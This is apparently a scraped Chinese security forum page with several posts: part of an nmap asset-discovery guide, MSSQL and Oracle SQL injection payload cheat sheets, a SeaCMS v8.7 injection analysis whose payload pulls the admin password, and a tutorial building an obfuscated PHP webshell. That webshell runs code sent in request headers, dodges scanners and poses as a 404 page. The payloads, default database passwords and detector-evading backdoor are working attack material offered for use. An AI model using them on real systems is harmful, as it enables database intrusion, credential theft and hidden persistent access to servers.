print 'done'



删除重复项:
上面2个方法分别导出的结果如下图所示:
这里就回答了好多人经常问我的,为啥子域名挖掘工具要用那么多,因为你用的越多,你收集的越全面。

大部分大公司基本都是整个C段买下来,这里因为这里的目标使用的是代理商,所以我没有跑C段,不然资产可以爆炸多,包大家挖洞挖到眼泪流下来。


第四步:处理收集到的信息
把筛选出来的ip保存到url.txt,然后使⽤nmap命令将结果输出为.gnmp⽂件:

nmap -sS -p 80,443,8080 -Pn -iL url.txt -oA [绝对路径]
我用的命令是:

nmap -sS -O -sV -iL url.txt -p 80,8080,443 -v -T4 -Pn -oA C:\Users\Administrator.DESKTOP-0MHPHKA\Desktop\result    

 
再使用python转化为xsl格式:
#coding:utf8

import sys

log = open("result.gnmap","r")

xls = open("output.csv","a")

xls.write("IP,port,status,protocol,service,version\n")

for line in log.readlines():

if line.startswith("#") or line.endswith("Status: Up\n"):

continue

result = line.split(" ")

#print result

host = result[0].split(" ")[1]

#print host

port_info = result[1].split("/, ")

#print port_info

port_info[0] = port_info[0].strip("Ports: ")

#print port_info[0]

for i in port_info:

j = i.split("/")

#print j

output = host + "," + j[0] + "," + j[1] + "," + j[2] + ","+ j[4] + "," + j[6] + "\n"

xls.write(output)

 

 
然后本地搭建一个php环境,写一个url跳转代码:
<?php 

$url = $_GET['url'];

Header("Location:$url");

?>



抓包:



GET /url.php?url=http://1.1.1.1:80 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

 

burpsuite跑结果:

全文不涉及敏感信息,就不打码了。
 
第五步:结束语
献给所有在挖洞道路走的越来越远的兄弟们。
 
本文脚本已全部上传github。

 
文章参考:
 
https://mp.weixin.qq.com/s/yl1LgC_DHPJtaWh92va_Vw
 
https://blog.csdn.net/qq_21405949/article/details/78487062
 

MSSQL数据库注入

llpkk 发表了文章 • 0 个评论 • 76 次浏览 • 2019-03-31 17:58 • 来自相关话题

 0x00 前言
现在非常多的网站都是使用MYSQL + PHP来完成的,但是MSSQL + ASP这种类型的网站也是经常能够遇到的,尤其是最近SRC平台中的任务几乎都是由这样的组合来实现的。所以研究mssql注入是非常有必要的。
 0x01 环境
为了能够更好地测试和复现更多的漏洞,我搭建了如下测试环境:
服务器:win server 2003中间件:IIS6.0数据库:SQL SERVER 2005前端语言:ASP
0x02 详细注入步骤
    ①判断数据库的类型and exists (select * from sysobjects)--
and exists (select count(*) from sysobjects)--
如果返回正常则为mssql数据库
     




    ②判断数据库的版本and 1=@@version--这个语句要在有回显的模式下才可以
and substring((select @@version),22,4)='2005'--适用于无回显模式



    ③获取所有数据库的个数and 1=(select quotename(count(name)) from master..sysdatabases)--
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>0) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>0) --    tips:dbid从1-4的数据库一般为系统数据库.




    ④获取数据库名称        and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
-- - 该语句是一次性获取全部数据库的,且语句只适合>=2005,以上两条语句可供选择使用
    




    ⑤获取当前数据库名称        and db_name()>0
and 1=(select db_name())--
    




    ⑥获取数据库中的表名 and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
可一次爆数据库所有表(只限于mssql2005及以上版本)





    ⑦获取表中的列名
    and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
  




 
0x03 总结
 
大体上感觉和MYSQL的注入过程是非常相似的,我们仍然可以按照mysql注入的思维方式去实施注入步骤,只不过在payload和细节方面有些不同,我们需要注意。
因为是初步探索mssql注入,所以有很多不足之处。无论是在环境的搭建还是注入的过程当中,我都能过发现很多在细节方面都需要非常注意。但是这些阻碍也正是我学习的地方~更多的mssql注入我还是会继续研究下去的~~
  查看全部
1.jpg

 0x00 前言
现在非常多的网站都是使用MYSQL + PHP来完成的,但是MSSQL + ASP这种类型的网站也是经常能够遇到的,尤其是最近SRC平台中的任务几乎都是由这样的组合来实现的。所以研究mssql注入是非常有必要的。
 0x01 环境
为了能够更好地测试和复现更多的漏洞,我搭建了如下测试环境:
  • 服务器:win server 2003
  • 中间件:IIS6.0
  • 数据库:SQL SERVER 2005
  • 前端语言:ASP

0x02 详细注入步骤
    ①判断数据库的类型
and exists (select * from sysobjects)--
and exists (select count(*) from sysobjects)--

如果返回正常则为mssql数据库
     
Image.png

    ②判断数据库的版本
and 1=@@version--这个语句要在有回显的模式下才可以
and substring((select @@version),22,4)='2005'--适用于无回显模式
Image2.png

    ③获取所有数据库的个数
and 1=(select quotename(count(name)) from master..sysdatabases)--
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>0) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>0) --
    tips:dbid从1-4的数据库一般为系统数据库.
Image3.png

    ④获取数据库名称        
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
-- - 该语句是一次性获取全部数据库的,且语句只适合>=2005,以上两条语句可供选择使用

    
Image4.png

    ⑤获取当前数据库名称        
and db_name()>0
and 1=(select db_name())--

    
Image5.png

    ⑥获取数据库中的表名 
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

可一次爆数据库所有表(只限于mssql2005及以上版本)

Image6.png

    ⑦获取表中的列名
    
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

  
Image7.png

 
0x03 总结
 
大体上感觉和MYSQL的注入过程是非常相似的,我们仍然可以按照mysql注入的思维方式去实施注入步骤,只不过在payload和细节方面有些不同,我们需要注意。
因为是初步探索mssql注入,所以有很多不足之处。无论是在环境的搭建还是注入的过程当中,我都能过发现很多在细节方面都需要非常注意。但是这些阻碍也正是我学习的地方~更多的mssql注入我还是会继续研究下去的~~
 

Seacms v8.7 /comment/api/index.php SQL注入分析

zksmile 发表了文章 • 0 个评论 • 36 次浏览 • 2019-03-31 17:43 • 来自相关话题

漏洞环境:docker pull zksmile/vul:seacmsv7.0



漏洞分析:
漏洞文件是在:comment/api/index.php<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);


function ReadData($id,$page)

{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}


function Readmlist($id,$page,$size)

{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}


function Readrlist($ids,$page,$size)

{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}传入$rlist的值为我们构造的sql语句:@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`
通过ReadData函数,implode处理后传入Readrlist函数
可以看到执行的SQL语句是:






它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测
文件在include/sql.class.php的CheckSql函数://完整的SQL检查

while (true)

{

$pos = strpos($db_string, '\'', $pos + 1);

if ($pos === false)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)

{

$pos1 = strpos($db_string, '\'', $pos + 1);

$pos2 = strpos($db_string, '\\', $pos + 1);

if ($pos1 === false)

{

break;

}

elseif ($pos2 == false || $pos2 > $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= '$s$';

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到:




所以上面构造的语句也很有意思





后面$clean就是要送去检测的函数,通过一番处理后得到的值为:





 
后面返回来执行的的SQL语句还是原样没动






基本分析就完成了。
最终执行的语句:SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESCReferer :https://mp.weixin.qq.com/s/mp6CNu0ISMh4vsyTMr2zqw 查看全部
漏洞环境:
docker pull zksmile/vul:seacmsv7.0



漏洞分析:
漏洞文件是在:comment/api/index.php
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);


function ReadData($id,$page)

{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}


function Readmlist($id,$page,$size)

{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}


function Readrlist($ids,$page,$size)

{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
传入$rlist的值为我们构造的sql语句:
@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数
可以看到执行的SQL语句是:

111.png


它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测
文件在include/sql.class.php的CheckSql函数:
//完整的SQL检查

while (true)

{

$pos = strpos($db_string, '\'', $pos + 1);

if ($pos === false)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)

{

$pos1 = strpos($db_string, '\'', $pos + 1);

$pos2 = strpos($db_string, '\\', $pos + 1);

if ($pos1 === false)

{

break;

}

elseif ($pos2 == false || $pos2 > $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= '$s$';

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到:
222.png

所以上面构造的语句也很有意思

333.png

后面$clean就是要送去检测的函数,通过一番处理后得到的值为:

444.png

 
后面返回来执行的的SQL语句还是原样没动

555.png


基本分析就完成了。
最终执行的语句:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC
Referer :https://mp.weixin.qq.com/s/mp6CNu0ISMh4vsyTMr2zqw

Oracle数据库注入总结

Web安全渗透main 发表了文章 • 0 个评论 • 79 次浏览 • 2019-03-31 16:10 • 来自相关话题

一、基础知识:Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。

默认用户:

SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的 

默认系统和数据库:

SYSTEM
SYSAUX 

探测版本:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’

当前用户:

SELECT user FROM dual;

列出DBA账户:(超级管理员)

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES'; (超级管理员), 列出DBA和对应权限 

列出所有用户:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限) 

列出权限:

SELECT * FROM session_privs; —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 

当前数据库:

SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL; 

列出表名:

SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables; 

列出字段名:

SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户'; 

通过字段名找到对应表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
注: 表名都是大写

查询第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数) 

查询第N个字符:

SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’ 

字符转ASCII码:

SELECT ascii('A') FROM dual; — 返回65 

ASCII值转字符:

SELECT chr(65) FROM dual; — 返回A 

类型转换:

SELECT CAST(1 AS char) FROM dual;

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 ) 

拼接字符:

SELECT 'A' || 'B' FROM dual; — 返回AB
 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)'错误显示
' and 1=1 --显示正常
则为单引号闭合类型
2.判断列数:' order by 3 --
3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)' union select 1,'2','3' from dual --
5.获取数据库版本信息:' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名:' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名:
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

7.获取关键表中的列/字段名:' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)' union select SNAME,SUSER,SPWD from T_USER --
 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
  查看全部
一、基础知识:
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

Oracle的单行注释符号是--,多行注释符号/**/。


默认用户:


SYS用户:超级管理员,默认密码是change_on_install。具有创建数据库的权限

SYSTEM用户:系统管理员,默认密码manager。不具有创建数据库的权限!

scott用户:默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的
 


默认系统和数据库:


SYSTEM
SYSAUX
 


探测版本:


SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

注:
Oracle的SELECT语句必须包含FROM从句,所以当我们并不是真的准备查询一个表的时候,我们必须使用一个假的表名‘dual’


当前用户:


SELECT user FROM dual;


列出DBA账户:(超级管理员)


SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION ='YES';             (超级管理员), 列出DBA和对应权限
 


列出所有用户:


SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; (超级管理员权限)
 


列出权限:


SELECT * FROM session_privs;    —当前用户的权限

SELECT * FROM dba_sys_privs WHERE grantee ='DBSNMP'; (超级管理员), 列出指定用户的权限

SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; (超级管理员), 找到拥有某个权限的用户

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
 


当前数据库:


SELECT global_name FROM global_name;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;
 


列出表名:


SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;
 


列出字段名:


SELECT column_name FROM all_tab_columns WHERE table_name = '表名';

SELECT column_name FROM all_tab_columns WHERE table_name = '表名' and owner ='用户';
 


通过字段名找到对应表:


SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';  

注: 表名都是大写


查询第N行:


SELECT username FROM (SELECT ROWNUM  r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
 


查询第N个字符:


SELECT substr('abcd', 3, 1) FROM dual; — 得到第三个字符‘c’
 


字符转ASCII码:


SELECT ascii('A') FROM dual; — 返回65
 


ASCII值转字符:


SELECT chr(65) FROM dual; — 返回A
 


类型转换:


SELECT CAST(1 AS char) FROM dual;   

SELECT CAST('1' AS int) FROM dual;

格式:
Cast(字段名 as 转换的类型 )
 


拼接字符:


SELECT 'A' || 'B' FROM dual; — 返回AB

 
二、注入流程
 
【union 注入】
 
1.判断注入点类型(同MYSQL注入)
'错误显示
' and 1=1 --显示正常
则为单引号闭合类型

2.判断列数:
' order by 3 --

3.判断字符类型
         oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下:
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型

第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型

4.判断回显位置:(根据不同类型,需加上单、双引号,如下是2,3位字段字符型)
' union select 1,'2','3' from dual --

5.获取数据库版本信息
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --





5.获取数据第一个表名
' union select null,(select table_name from user_tables where rownum=1),null from dual --




 
6.  获取数据第二个表名
 注意,查询第二个表时,利用筛选方法,即排除第一个表:table_name<>'T_USER'
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --


7.获取关键表中的列/字段名
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

// 排除第一个字段后的其他字段,<>:不等于,表示筛选

 ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
//排除第二个字段后的其他字段,<>:不等于

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --





8.获取关键列中的字段数据:(字符连接用||符号)
' union select SNAME,SUSER,SPWD from T_USER --

 
 
 
参考:
https://www.cnblogs.com/peterpan0707007/p/8242119.html 
https://www.cnblogs.com/songanwei/p/9153965.html
 

渗透测试小技巧之过waf木马

gu 发表了文章 • 0 个评论 • 60 次浏览 • 2019-03-30 16:24 • 来自相关话题

转自(http://byd.dropsec.xyz/2017/06/05/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8B%E8%BF%87waf%E6%9C%A8%E9%A9%AC/)
 
 
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:<?php eval($_POST['caidao']);?>Second step
首先大家看下这个东西:






不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:$compressed = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>Third step
那么重点来了!
我要说的就是gzcompress这个函数。然后我又查了查相关资料,找到了PHP中具有相同功能的函数还有两个:gzdeflate,gzencode。
科普下:压缩函数:gzcompress gzdeflate gzencode
解压函数:gzuncompress gzinflate gzdecode
gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。
这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。
gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同:
gzcompress使用的是ZLIB格式;
gzdeflate使用的是纯粹的DEFLATE格式;
gzencode使用的是GZIP格式;
其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。
有兴趣的自己在找找吧Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>Fifth step
结合访问日志记录用到的getallheaders函数,最终的webshell如下:<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));?>
用D盾查一下






虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));?>
看下webshell可用性





 
这里注意下,使用eval的话会报错,具体的原因请查看错误详情在安利下命令执行的一些函数:'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_openSixth step
再用D盾检测下






还是可疑啊,那行再伪造伪造下<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>
再检测下:






360 5引擎检测下






very perfect!

如果觉得自己添加头麻烦可疑使用自带的请求头字段:getallheaders()['Accept-Language']
getallheaders()['User-Agent']
getallheaders()['Accept'] 查看全部
转自(http://byd.dropsec.xyz/2017/06/05/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8B%E8%BF%87waf%E6%9C%A8%E9%A9%AC/)
 
 
